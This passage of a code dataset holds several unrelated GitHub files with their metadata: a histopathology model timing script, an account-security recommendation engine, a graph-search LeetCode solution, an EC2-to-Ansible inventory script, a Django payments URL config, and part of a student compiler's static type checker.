predict_and_detach(model, item):\n    predict = model(item)\n    return predict[0].detach().cpu().numpy(), predict[1]\n\n\ndef predict(take_predictions, prediction_batch, model, tiles):\n    start_time = time.time()\n    if take_predictions > 0:\n        tiles = itertools.islice(tiles, take_predictions)\n    batched_tiles = (\n        batched(tiles, prediction_batch) if prediction_batch > 0 else [tiles]\n    )\n    predictions = list()\n    for batch in batched_tiles:\n        batch_predictions = [predict_and_detach(model, item) for item in batch]\n        predictions.extend(batch_predictions)\n    del batch_predictions, batch\n    print(f\"Made predictions in {time.time() - start_time}s\", flush=True)\n    return predictions\n\n\ndef create_and_predict(\n    wsi_path, mask_path, chunk_size, take_predictions, prediction_batch, model\n):\n    study, tiles = create_study(wsi_path, mask_path, chunk_size)\n    predictions = predict(take_predictions, prediction_batch, model, tiles)\n    print(f\"show_structure(predictions) = {show_structure(predictions)}\")\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"device\")\n    args = parser.parse_args()\n    # device = \"cuda\" if True else \"cpu\"\n    device = args.device\n    print(f\"***** device = {device} *****\")\n    take_predictions = 2**8 if True else 0\n\n    wsi_path, mask_path = get_data()\n    unwrapped_model, model = build_model(device=device)\n\n    # for prediction_batch in [2**j for j in range(0, 6)]:\n    for prediction_batch in [0]:\n        for chunk_size in [1024] + [2**j for j in range(8, 14)]:\n            print(\n                f\"***** chunk_size = {chunk_size},\"\n                f\" prediction_batch = {prediction_batch},\"\n                f\" take_predictions = {take_predictions} ****\",\n                flush=True,\n            )\n            create_and_predict(\n                wsi_path,\n                mask_path,\n                chunk_size,\n                take_predictions,\n                prediction_batch,\n                model,\n            )\n    print(f\"***** Finished with device = {device} *****\")\n", "repo_name": "DigitalSlideArchive/HistomicsStream", "sub_path": "example/performance-EfficientNet_V2_S_Weights.IMAGENET1K_V1.py", "file_name": "performance-EfficientNet_V2_S_Weights.IMAGENET1K_V1.py", "file_ext": "py", "file_size_in_byte": 8061, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.time", "line_number": 35, "usage_type": "call"}, {"api_name": "pooch.retrieve", "line_number": 36, "usage_type": "call"}, {"api_name": "pooch.os_cache", "line_number": 45, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 45, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 50, "usage_type": "call"}, {"api_name": "pooch.retrieve", "line_number": 51, "usage_type": "call"}, {"api_name": "pooch.os_cache", "line_number": 57, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 57, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 63, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 66, "usage_type": "call"}, {"api_name": "time.time", "line_number": 76, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 78, "usage_type": "attribute"}, {"api_name": "torchvision.models.efficientnet_v2_s", "line_number": 79, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 79, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 86, "usage_type": "call"}, {"api_name": "time.time", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 92, "usage_type": "call"}, {"api_name": "histomics_stream.configure.FindResolutionForSlide", "line_number": 112, "usage_type": "call"}, {"api_name": "histomics_stream.configure", "line_number": 112, "usage_type": "attribute"}, {"api_name": "histomics_stream.configure.TilesByGridAndMask", "line_number": 115, "usage_type": "call"}, {"api_name": "histomics_stream.configure", "line_number": 115, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 123, "usage_type": "call"}, {"api_name": "time.time", "line_number": 125, "usage_type": "call"}, {"api_name": "histomics_stream.pytorch.CreateTorchDataloader", "line_number": 126, "usage_type": "call"}, {"api_name": "histomics_stream.pytorch", "line_number": 126, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 129, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 171, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 178, "usage_type": "call"}, {"api_name": "time.time", "line_number": 187, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 189, "usage_type": "call"}, {"api_name": "time.time", "line_number": 198, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 211, "usage_type": "call"}]}
{"seq_id": "32944520821", "text": "from enum import Enum\nfrom entity.account import Account\nfrom entity.loginMethod import LoginMethod\nfrom mathstuffs.modelInterface import SecurityScoreResult\n\nclass RecommendationSeverity(Enum):\n    HINT = 1\n    WARNING = 2\n    CRITICAL = 3\n\n\nclass Recommendation:\n    type: RecommendationSeverity\n    text: str\n    solution: str\n\n    def __init__(self, type: RecommendationSeverity, text: str, solution: str):\n        self.type = type\n        self.text = text\n        self.solution = solution\n\nclass RecommendationResult:\n    account: Account = None\n    recommendations: list[Recommendation] = []\n\n    def __init__(self, account: Account, recommendations: list[Recommendation]) -> None:\n        self.account = account\n        self.recommendations = recommendations\n\nclass RecommendationEngine:\n    def generate_recommendations(self, modelResults: list[SecurityScoreResult]) -> dict:\n        pass\n\n\nclass SampleRecommendationEngine(RecommendationEngine):\n    def generate_recommendations(self, accounts: list[Account], modelResults: list[SecurityScoreResult]) -> dict:\n        recommendationResults = []\n        for result in modelResults:\n            recommendationResult = RecommendationResult(\n                result.account, []\n            )\n            recommendationResult.recommendations = recommendationResult.recommendations + self.check_for_sec_level(result, accounts)\n            recommendationResult.recommendations = recommendationResult.recommendations + self.check_for_recovery(result, accounts)\n\n            recommendationResults.append(recommendationResult)\n\n        return recommendationResults    \n\n    def check_for_sec_level(self, result: SecurityScoreResult, accounts: list[Account]):\n        recommendations = []\n        if result.secScore < 3:\n            recommendations.append(Recommendation(\n                type=RecommendationSeverity.CRITICAL,\n                text=\"The used login method is insecure\",\n                solution=\"Change to a more secure login method, e.g. certificate, biometrics, hardware token, magic link\",\n            ))\n        elif result.secScore < 7:\n            recommendations.append(Recommendation(\n                type=RecommendationSeverity.WARNING,\n                text=\"The used login method is conidered insecure\",\n                solution=\"Change to a more secure login method, e.g. certificate, biometrics, hardware token, magic link\",\n            ))\n\n        for connAccScores in result.secScoreConnectedAccounts:\n            connAcc = self.get_account(accounts, connAccScores[0])\n            if connAccScores[1] < 3:\n                recommendations.append(Recommendation(\n                    type=RecommendationSeverity.CRITICAL,\n                    text=\"The connected account '{name}' is insecure\".format(name=connAcc.name),\n                    solution=\"Disconnect the account or improve it's security according to the hints for that account\",\n                ))\n            elif connAccScores[1] < 7:\n                recommendations.append(Recommendation(\n                    type=RecommendationSeverity.WARNING,\n                    text=\"The connected account '{name}' is considered insecure\".format(name=connAcc.name),\n                    solution=\"Disconnect the account or improve it's security according to the hints for that account\",\n                )) \n\n        return recommendations  \n\n    def check_for_recovery(self, result: SecurityScoreResult, accounts: list[Account]):\n        acc = result.account\n        recommendations = []\n        if len(acc.fallbackMethod) == 0:\n            recommendations.append(Recommendation(\n                account=acc,\n                type=RecommendationSeverity.CRITICAL,\n                text=\"Account does not have a recovery method\",\n                solution=\"Add a recovery method if possible\",\n            ))\n\n        return recommendations\n\n    def get_account(self, accounts: list[Account], id: int) -> Account:\n        for acc in accounts:\n            if acc.id == id:\n                return acc\n", "repo_name": "Finamisvm/Cerberus", "sub_path": "mathstuffs/recommendation.py", "file_name": "recommendation.py", "file_ext": "py", "file_size_in_byte": 4016, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "enum.Enum", "line_number": 6, "usage_type": "name"}, {"api_name": "entity.account.Account", "line_number": 23, "usage_type": "name"}, {"api_name": "entity.account.Account", "line_number": 26, "usage_type": "name"}, {"api_name": "mathstuffs.modelInterface.SecurityScoreResult", "line_number": 31, "usage_type": "name"}, {"api_name": "entity.account.Account", "line_number": 36, "usage_type": "name"}, {"api_name": "mathstuffs.modelInterface.SecurityScoreResult", "line_number": 36, "usage_type": "name"}, {"api_name": "mathstuffs.modelInterface.SecurityScoreResult", "line_number": 49, "usage_type": "name"}, {"api_name": "entity.account.Account", "line_number": 49, "usage_type": "name"}, {"api_name": "mathstuffs.modelInterface.SecurityScoreResult", "line_number": 81, "usage_type": "name"}, {"api_name": "entity.account.Account", "line_number": 81, "usage_type": "name"}, {"api_name": "entity.account.Account", "line_number": 94, "usage_type": "name"}]}
{"seq_id": "33077993237", "text": "class Solution:\n    def findCircleNum(self, isConnected: List[List[int]]) -> int:\n        from collections import defaultdict\n        visited = set()\n        city_graph = defaultdict(list)\n        rows = len(isConnected)\n        cols = len(isConnected[0])\n        for r in range(rows):\n            for c in range(r+1, cols):\n                if isConnected[r][c] == 1:\n                    city_graph[r].append(c)\n                    city_graph[c].append(r)\n                    \n                    \n        \n        def dfs(city):\n            if not city_graph[city]:\n                return \n            \n            for neighbour in city_graph[city]:\n                if neighbour not in visited:\n                    visited.add(neighbour)\n                    dfs(neighbour)\n                \n        provinces = 0\n        for city in range(rows):\n            if city not in visited:\n                dfs(city)\n                provinces += 1\n                    \n        return provinces\n", "repo_name": "himanshu1214/Tech-interview-LeetCode-Blogs", "sub_path": "Graphs/number_of_provinces.py", "file_name": "number_of_provinces.py", "file_ext": "py", "file_size_in_byte": 985, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 5, "usage_type": "call"}]}
{"seq_id": "3987319169", "text": "#!/root/kubernates-ansible-aws/ansible/bin/python\nimport boto3\nimport json\nimport pprint\ndef get_hosts(ec2,fv):\n   f={'Name':'tag:node-type','Values':[fv]}\n   hosts=[]\n   for each_in in ec2.instances.filter(Filters=[f]):\n#      print(each_in.private_ip_address)\n       hosts.append(each_in.private_ip_address)\n   return hosts\n\ndef main():\n   ec2=boto3.resource(\"ec2\")\n   master_group=get_hosts(ec2,\"master\")\n   worker_group=get_hosts(ec2,\"worker\")\n   \n   all_groups={\n\t            'master': {\n\t\t\t'hosts': master_group,\n\t\t\t'vars': {\n\t\t\t     'group_name': 'k8-master',\n                             'ansible_user': 'ubuntu'\n                               }\n\t\t\t},\n\t\t    'worker': {\n\t\t\t'hosts': worker_group,\n\t\t\t'vars': {\n\t\t\t     'group_name': 'k8-node',\n                             'ansible_user': 'ubuntu'\n                               }\n\t\t\t}\n     \t      }\n   print(json.dumps(all_groups))\n   \n\nif __name__==\"__main__\":\n main()\n \n", "repo_name": "cloudxlab/kubernetes-ansible-aws", "sub_path": "ec2-k8.py", "file_name": "ec2-k8.py", "file_ext": "py", "file_size_in_byte": 929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "boto3.resource", "line_number": 14, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "17580588443", "text": "from django.urls import include, path\nfrom rest_framework import routers\n\nfrom . import views\n\n\napp_name = 'payments'\n\nurlpatterns = [\n    path('create_session/', views.create_session),\n    path('payment_status/', views.payment_status, name='payment_status'),\n    path('cancel_payment/', views.cancel_payment),\n    path('stripehook/', views.stripe_hook),\n    path('next_billing_date/', views.next_billing_date),\n    path('next_delivery_date/', views.next_delivery_date),\n    path('get_stripe_public_key/', views.get_stripe_public_key),\n]", "repo_name": "rahulsarathy/Pulp", "sub_path": "backend/app/payments/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "9966218153", "text": "# Student ID: 1814226        Name: Hua Phuoc Thuan\n\"\"\"\n * @author nhphung\n\"\"\"\nfrom abc import ABC, abstractmethod, ABCMeta\nfrom dataclasses import dataclass\nfrom typing import List, Tuple\nfrom AST import *\nfrom Visitor import *\nfrom StaticError import *\nfrom functools import *\n\n\nclass Type(ABC):\n    __metaclass__ = ABCMeta\n    pass\n\n\nclass Prim(Type):\n    __metaclass__ = ABCMeta\n    pass\n\n\nclass IntType(Prim):\n    pass\n\n\nclass FloatType(Prim):\n    pass\n\n\nclass StringType(Prim):\n    pass\n\n\nclass BoolType(Prim):\n    pass\n\n\nclass VoidType(Type):\n    pass\n\n\nclass Unknown(Type):\n    pass\n\n\n@dataclass\nclass ArrayType(Type):\n    dimen: List[int]\n    eletype: Type\n\n\n@dataclass\nclass MType(Type):\n    intype: List[Type]\n    restype: Type\n\n\n@dataclass\nclass Symbol:\n    name: str\n    mtype: MType\n    kind:Kind\n\nclass Utils():\n    def lookup(self, name, lst: List[List[Symbol]]):\n        for scope in lst:\n            for x in scope:\n                if name == x.name:\n                    return x\n        return None\n\n\n\nclass StaticChecker(BaseVisitor, Utils):\n    def __init__(self, ast):\n        self.ast = ast\n        self.built_in = [\n            Symbol(\"int_of_float\", MType([FloatType()], IntType()), Function()),\n            Symbol(\"float_to_int\", MType([IntType()], FloatType()), Function()),\n            Symbol(\"int_of_string\", MType([StringType()], IntType()), Function()),\n            Symbol(\"string_of_int\", MType([IntType()], StringType()), Function()),\n            Symbol(\"float_of_string\", MType([StringType()], FloatType()), Function()),\n            Symbol(\"string_of_float\", MType([FloatType()], StringType()), Function()),\n            Symbol(\"bool_of_string\", MType([StringType()], BoolType()), Function()),\n            Symbol(\"string_of_bool\", MType([BoolType()], StringType()), Function()),\n            Symbol(\"read\", MType([], StringType()), Function()),\n            Symbol(\"printLn\", MType([], VoidType()), Function()),\n            Symbol(\"print\", MType([StringType()], VoidType()), Function()),\n            Symbol(\"printStrLn\", MType([StringType()], VoidType()), Function())\n        ]\n        self.global_envi = [self.built_in[:]]\n\n    def check(self):\n        return self.visit(self.ast, self.global_envi)\n\n    def visitProgram(self, ast: Program, c):\n        for declare in ast.decl:\n            if isinstance(declare, VarDecl):\n                self.visit(declare, c)\n\n        for declare in ast.decl:\n            if isinstance(declare,FuncDecl):\n                var = self.lookup(declare.name.name, [c[0]])\n                if var is not None:\n                    raise Redeclared(Function(), declare.name.name)\n\n                c[0].append(Symbol(declare.name.name, MType([], Unknown()),Function()))\n                [c[0][-1].mtype.intype.append(Unknown()) for parameter in declare.param]\n\n        for declare in ast.decl:\n            if isinstance(declare, FuncDecl):\n                self.visit(declare, c)\n\n        entry = self.lookup(\"main\", c)\n        if entry is None:\n            raise NoEntryPoint()\n\n    def visitVarDecl(self, ast: VarDecl, param):\n        var = self.lookup(ast.variable.name, [param[0]])\n        if var is not None:\n            raise Redeclared(Variable(), ast.variable.name)\n\n        if ast.varDimen:\n            if ast.varInit:\n                if type(ast.varInit) is ArrayLiteral:\n                    param[0].append(\n                        Symbol(ast.variable.name, MType([], self.visit(ast.varInit, param)), Variable()))\n                    #print(param[0][-1])\n                else:\n                    pass\n            else:\n                arr_type = Unknown()\n                for i in range(len(ast.varDimen)):\n                    arr_type = ArrayType(ast.varDimen[(len(ast.varDimen) - 1 - i):], arr_type)\n\n                param[0].append(Symbol(ast.variable.name, MType([], arr_type), Variable()))\n                #print(param[0][-1])\n        else:\n            if ast.varInit:\n                param[0].append(Symbol(ast.variable.name, MType([], self.visit(ast.varInit, param)), Variable()))\n            else:\n                param[0].append(Symbol(ast.variable.name, MType([], Unknown()), Variable()))\n\n    def ReturnStatement(self, Stmts, func: Symbol, param):\n        if isinstance(Stmts, Return):\n            stmt_type = self.visit(Stmts, param)\n            if isinstance(func.mtype.restype, Unknown):\n                if isinstance(stmt_type, Unknown):\n                    raise TypeCannotBeInferred(Stmts)\n                if isinstance(stmt_type, ArrayType):\n                    while True:\n                        if isinstance(stmt_type, Unknown):\n                            raise TypeCannotBeInferred(Stmts)\n                        if not isinstance(stmt_type, ArrayType):\n                            break\n                        stmt_type = stmt_type.eletype\n\n            stmt_type = self.visit(Stmts, param)\n            if isinstance(func.mtype.restype, Unknown):\n                func.mtype.restype = stmt_type\n\n            if not isinstance(self.visit(Stmts, param), ArrayType) or not isinstance(func.mtype.restype, ArrayType):\n                if type(self.visit(Stmts, param)) != type(func.mtype.restype):\n                    raise TypeMismatchInStatement(Stmts)\n            else:\n                stmt_type = self.visit(Stmts, param)\n                ret_type = func.mtype.restype\n                while True:\n                    if type(ret_type) != type(stmt_type):\n                        raise TypeMismatchInStatement(Stmts)\n                    if not isinstance(ret_type, ArrayType) and not isinstance(stmt_type, ArrayType):\n                        break\n                    ret_type = ret_type.eletype\n                    stmt_type = stmt_type.eletype\n\n    def visitFuncDecl(self, ast: FuncDecl, param):\n        local = [[]]\n        func = self.lookup(ast.name.name, param)\n        for i in range(len(ast.param)):\n            parameter = self.lookup(ast.param[i].variable.name, [local[0]])\n            if parameter is not None:\n                raise Redeclared(Parameter(), parameter.name)\n            self.visit(ast.param[i], local)\n            if isinstance(local[0][-1].mtype.restype, Unknown):\n                local[0][-1].mtype.restype = func.mtype.intype[i]\n\n        total = local + param + [[func]]\n        [self.visit(varDecl, total) for varDecl in ast.body[0]]\n        for Stmts in ast.body[1]:\n            self.visit(Stmts, total)\n            self.ReturnStatement(Stmts, func, total)\n\n\n        if isinstance(func.mtype.restype, Unknown):\n            func.mtype.restype = VoidType()\n\n        for i in range(len(ast.param)):\n            parameter = self.lookup(ast.param[i].variable.name, total)\n            if not isinstance(parameter.mtype.restype,Unknown):\n                func = self.lookup(ast.name.name,param)\n                func.mtype.intype[i] = parameter.mtype.restype\n        #print(var.name,var.mtype.intype)\n\n    def visitBinaryOp(self, ast: BinaryOp, param):\n        op = ast.op\n        left = self.visit(ast.left,param)\n        right = self.visit(ast.right,param)\n\n        if \"TypeCannotBeInferred\" in [left, right]:\n            return \"TypeCannotBeInferred\"\n        #print(left,right)\n        if op in ['+','-','*',\"\\\\\",\"%\"]:\n            if isinstance(left,(Unknown,IntType)) and isinstance(right,(Unknown,IntType)):\n                if isinstance(left,Unknown):\n                    var = self.lookup(ast.left.name,param) if isinstance(ast.left,Id) \\\n                        else self.lookup(ast.left.method.name,param)\n                    var.mtype.restype = IntType()\n\n                if isinstance(right,Unknown):\n                    var = self.lookup(ast.right.name,param) if isinstance(ast.right,Id) \\\n                        else self.lookup(ast.right.method.name,param)\n                    var.mtype.restype = IntType()\n                return IntType()\n            else:\n                raise TypeMismatchInExpression(ast)\n\n        if op in ['+.','-.','*.','\\\\.']:\n            if isinstance(left,(Unknown,FloatType)) and isinstance(right,(Unknown,FloatType)):\n                if isinstance(left,Unknown):\n                    var = self.lookup(ast.left.name,param) if isinstance(ast.left,Id) \\\n                        else self.lookup(ast.left.method.name,param)\n                    var.mtype.restype = FloatType()\n\n                if isinstance(right,Unknown):\n                    var = self.lookup(ast.right.name,param) if isinstance(ast.right,Id) \\\n                        else self.lookup(ast.right.method.name,param)\n                    var.mtype.restype = FloatType()\n\n                return FloatType()\n            else:\n                raise TypeMismatchInExpression(ast)\n\n        if op in [\"==\",\"!=\",\"<\",\">\",\"<=\",\">=\"]:\n            if isinstance(left,(Unknown,IntType)) and isinstance(right,(Unknown,IntType)):\n                if isinstance(left,Unknown):\n                    var = self.lookup(ast.left.name,param) if isinstance(ast.left,Id) \\\n                        else self.lookup(ast.left.method.name,param)\n                    var.mtype.restype = IntType()\n\n                if isinstance(right,Unknown):\n                    var = self.lookup(ast.right.name,param) if isinstance(ast.right,Id) \\\n                        else self.lookup(ast.right.method.name,param)\n                    var.mtype.restype = IntType()\n                return BoolType()\n            else:\n                raise TypeMismatchInExpression(ast)\n\n        if op in [\"=/=\",\"<.\",\">.\",\"<=.\",\">=.\"]:\n            if isinstance(left,(Unknown,FloatType)) and isinstance(right,(Unknown,FloatType)):\n                if isinstance(left,Unknown):\n                    var = self.lookup(ast.left.name,param) if isinstance(ast.left,Id) \\\n                        else self.lookup(ast.left.method.name,param)\n                    var.mtype.restype = FloatType()\n\n                if isinstance(right,Unknown):\n                    var = self.lookup(ast.right.name,param) if isinstance(ast.right,Id) \\\n                        else self.lookup(ast.right.method.name,param)\n                    var.mtype.restype = FloatType()\n                return BoolType()\n            else:\n                raise TypeMismatchInExpression(ast)\n\n        if op in [\"||\",\"&&\"]:\n            if isinstance(left,(Unknown,BoolType)) and isinstance(right,(Unknown,BoolType)):\n                if isinstance(left,Unknown):\n                    var = self.lookup(ast.left.name,param) if isinstance(ast.left,Id) \\\n                        else self.lookup(ast.left.method.name,param)\n                    var.mtype.restype = BoolType()\n\n                if isinstance(right,Unknown):\n                    var = self.lookup(ast.right.name,param) if isinstance(ast.right,Id) \\\n                        else self.lookup(ast.right.method.name,param)\n                    var.mtype.restype = BoolType()\n                return BoolType()\n            else:\n                raise TypeMismatchInExpression(ast)\n\n\n    def visitUnaryOp(self, ast: UnaryOp, param):\n        op = ast.op\n        operand = self.visit(ast.body,param)\n\n        if operand == \"TypeCannotBeInferred\":\n            return \"TypeCannotBeInferred\"\n        if op == \"-\":\n            if isinstance(operand,(Unknown,IntType)):\n                if isinstance(operand,Unknown):\n                    var = self.lookup(ast.body.name,param) if isinstance(ast.body,Id) \\\n                        else self.lookup(ast.body.method.name,param)\n                    var.mtype.restype = IntType()\n\n                return IntType()\n            else:\n                raise TypeMismatchInExpression(ast)\n        if op == \"-.\":\n            if isinstance(operand,(Unknown,FloatType)):\n                if isinstance(operand,Unknown):\n                    var = self.lookup(ast.body.name,param) if isinstance(ast.body,Id) \\\n                        else self.lookup(ast.body.method.name,param)\n                    var.mtype.restype = FloatType()\n\n                return FloatType()\n            else:\n                raise TypeMismatchInExpression(ast)\n\n        if op == \"!\":\n            if isinstance(operand,(Unknown,BoolType)):\n                if isinstance(operand,Unknown):\n                    var = self.lookup(ast.body.name,param) if isinstance(ast.body,Id) \\\n                        else self.lookup(ast.body.method.name,param)\n                    var.mtype.restype = BoolType()\n\n                return BoolType()\n            else:\n                raise TypeMismatchInExpression(ast)\n\n\n    def visitCallExpr(self, ast: CallExpr, param):\n        var = self.lookup(ast.method.name, param)\n        if var is not None:\n            if not isinstance(var.kind, Function):\n                raise Undeclared(Function(),ast.method.name)\n            if len(var.mtype.intype) != len(ast.param):\n                raise TypeMismatchInExpression(ast)\n\n            if var.mtype.intype:\n                for i in range(len(ast.param)):\n                    parameter = self.lookup(ast.param[i].name, param) if isinstance(ast.param[i], Id) \\\n                        else self.lookup(ast.param[i].method.name, param) if isinstance(ast.param[i], CallExpr) else \"\"\n                    param_type = parameter.mtype.restype if isinstance(parameter, Symbol) else self.visit(ast.param[i], param)\n\n                    if (isinstance(param_type, Unknown) and isinstance(var.mtype.intype[i], Unknown)) or param_type == \"TypeCannotBeInferred\":\n                        return \"TypeCannotBeInferred\"\n                    if isinstance(param_type, Unknown):\n                        parameter.mtype.restype = var.mtype.intype[i]\n\n                    if isinstance(var.mtype.intype[i], Unknown):\n                        var.mtype.intype[i] = param_type\n\n                    param_type = parameter.mtype.restype if isinstance(parameter, Symbol) else self.visit(ast.param[i], param)\n                    if type(var.mtype.intype[i]) != type(param_type):\n                        raise TypeMismatchInExpression(ast)\n                    self.visit(ast.param[i],param)\n        else:\n            raise Undeclared(Function(), ast.method.name)\n        #print(var.mtype.restype)\n        return var.mtype.restype\n\n    def visitId(self, ast: Id, param):\n        var = self.lookup(ast.name, param)\n        if var is not None:\n            if not isinstance(var.kind, Variable):\n                raise Undeclared(Identifier(),ast.name)\n            return var.mtype.restype\n        raise Undeclared(Identifier(), ast.name)\n\n    def visitArrayCell(self, ast: ArrayCell, param):\n        id_type = self.visit(ast.arr, param)\n        ACell = self.lookup(ast.arr.name, param) if isinstance(ast.arr, Id) else self.lookup(ast.arr.method.name, param)\n        #print(ast.arr, id_type)\n        if id_type == \"TypeCannotBeInferred\" or (isinstance(id_type,Unknown) and isinstance(ast.arr,CallExpr)):  # id is a CallExpr but cannot inferred the parameter type\n            return \"TypeCannotBeInferred\"\n        #print(ast.arr)\n\n        if not isinstance(id_type, ArrayType):\n            raise TypeMismatchInExpression(ast)\n        else:\n            if len(ACell.mtype.restype.dimen) != len(ast.idx):\n                raise TypeMismatchInExpression(ast)\n\n        for expr in ast.idx:\n            expr_type = self.visit(expr, param)\n            if expr_type == \"TypeCannotBeInferred\":\n                return \"TypeCannotBeInferred\"\n            if isinstance(expr_type, Unknown):\n                var = self.lookup(expr.name, param) if isinstance(expr, Id) else self.lookup(expr.method.name, param)\n                var.mtype.restype = IntType()\n\n            expr_type = self.visit(expr, param)\n            if not isinstance(expr_type, IntType):\n                raise TypeMismatchInExpression(ast)\n\n        for x in range(len(ast.idx)):\n            if not isinstance(id_type,ArrayType):\n                raise TypeMismatchInExpression(ast)\n            id_type = id_type.eletype\n        return id_type\n\n    def visitAssign(self, ast: Assign, param):\n        lhs = self.visit(ast.lhs, param)\n        rhs = self.visit(ast.rhs, param)\n        #print(ast.lhs,lhs,rhs)\n        if (isinstance(lhs, Unknown) and isinstance(rhs, Unknown)) or (\"TypeCannotBeInferred\" in [lhs, rhs]):\n            # both lhs and rhs is Unknown Type or (rhs or lhs is CallExpr and can't be inffered)\n            raise TypeCannotBeInferred(ast)\n        if isinstance(lhs, VoidType) or isinstance(rhs, VoidType):\n            raise TypeMismatchInStatement(ast)\n        # print(self.visit(ast.lhs,param),self.visit(ast.rhs,param))\n        if isinstance(lhs, Unknown):\n            if isinstance(ast.lhs, Id):\n                var = self.lookup(ast.lhs.name, param)\n                if isinstance(self.visit(ast.rhs, param), ArrayType):\n                    raise TypeMismatchInStatement(ast)\n                var.mtype.restype = self.visit(ast.rhs, param)\n            elif isinstance(ast.lhs, CallExpr):\n                var = self.lookup(ast.lhs.method.name,param)\n                var.mtype.restype = self.visit(ast.rhs, param)\n            else:\n                if isinstance(ast.lhs.arr, Id):\n                    var = self.lookup(ast.lhs.arr.name,param)\n                else:\n                    var = self.lookup(ast.lhs.arr.method.name, param)\n                eletype = var.mtype.restype\n                while True:\n                    if isinstance(eletype.eletype, Unknown):\n                        eletype.eletype = self.visit(ast.rhs, param)\n                        break\n                    eletype = eletype.eletype\n\n        if isinstance(rhs, Unknown):\n            if isinstance(ast.rhs, Id):\n                var = self.lookup(ast.rhs.name, param)\n                if isinstance(self.visit(ast.rhs, param), ArrayType):\n                    raise TypeMismatchInStatement(ast)\n\n                var.mtype.restype = self.visit(ast.lhs, param)\n            elif isinstance(ast.rhs, CallExpr):\n                var = self.lookup(ast.rhs.method.name,param)\n                var.mtype.restype = self.visit(ast.lhs, param)\n            else:\n                if isinstance(ast.rhs.arr, Id):\n                    var = self.lookup(ast.rhs.arr.name,param)\n                else:\n                    var = self.lookup(ast.rhs.arr.method.name, param)\n                eletype = var.mtype.restype\n                while True:\n                    if isinstance(eletype.eletype, Unknown):\n                        eletype.eletype = self.visit(ast.lhs, param)\n                        break\n                    eletype = eletype.eletype\n        #print(self.visit(ast.lhs,param),self.visit(ast.rhs,param))\n        lhs = self.visit(ast.lhs, param)\n        rhs = self.visit(ast.rhs, param)\n        #print(type(lhs),type(rhs))\n\n        if isinstance(lhs,ArrayType) and isinstance(rhs,ArrayType):\n            if lhs.dimen != rhs.dimen:\n                raise TypeMismatchInStatement(ast)\n            lhs_eletype = lhs.eletype\n            rhs_eletype = rhs.eletype\n            while True:\n                if isinstance(lhs_eletype, Unknown):\n                    if isinstance(ast.lhs, Id):\n                        var = self.lookup(ast.lhs.name, param)\n                    elif isinstance(ast.lhs, CallExpr):\n                        var = self.lookup(ast.lhs.method.name, param)\n                    else:\n                        if isinstance(ast.lhs.arr, Id):\n                            var = self.lookup(ast.lhs.arr.name, param)\n                        else:\n                            var = self.lookup(ast.lhs.arr.method.name, param)\n\n                    eletype = var.mtype.restype\n                    while True:\n                        if isinstance(eletype.eletype,Unknown):\n                            eletype.eletype = rhs_eletype\n                            break\n                        eletype = eletype.eletype\n                    break\n\n                if isinstance(rhs_eletype, Unknown):\n                    if isinstance(ast.rhs, Id):\n                        var = self.lookup(ast.rhs.name, param)\n                    elif isinstance(ast.rhs, CallExpr):\n                        var = self.lookup(ast.rhs.method.name, param)\n                    else:\n                        if isinstance(ast.rhs.arr, Id):\n                            var = self.lookup(ast.rhs.arr.name, param)\n                        else:\n                            var = self.lookup(ast.rhs.arr.method.name, param)\n\n                    eletype = var.mtype.restype\n                    while True:\n                        if isinstance(eletype.eletype,Unknown):\n                            eletype.eletype = lhs_eletype\n                            break\n                        eletype = eletype.eletype\n                    break\n\n                if not isinstance(lhs_eletype,ArrayType) and not isinstance(rhs_eletype,ArrayType):\n                    break\n\n                if isinstance(lhs_eletype,ArrayType):\n                    lhs_eletype = lhs_eletype.eletype\n\n                if isinstance(rhs_eletype,ArrayType):\n                    rhs_eletype = rhs_eletype.eletype\n\n\n            if isinstance(lhs_eletype,Unknown) and isinstance(rhs_eletype,Unknown):\n                raise TypeCannotBeInferred(ast)\n\n            lhs_eletype = self.visit(ast.lhs, param)\n            rhs_eletype = self.visit(ast.rhs, param)\n            while True:\n                if type(lhs_eletype) != type(rhs_eletype):\n                    raise TypeMismatchInStatement(ast)\n\n                if isinstance(lhs_eletype, ArrayType):\n                    lhs_eletype = lhs_eletype.eletype\n                else:\n                    break\n\n                if isinstance(rhs_eletype, ArrayType):\n                    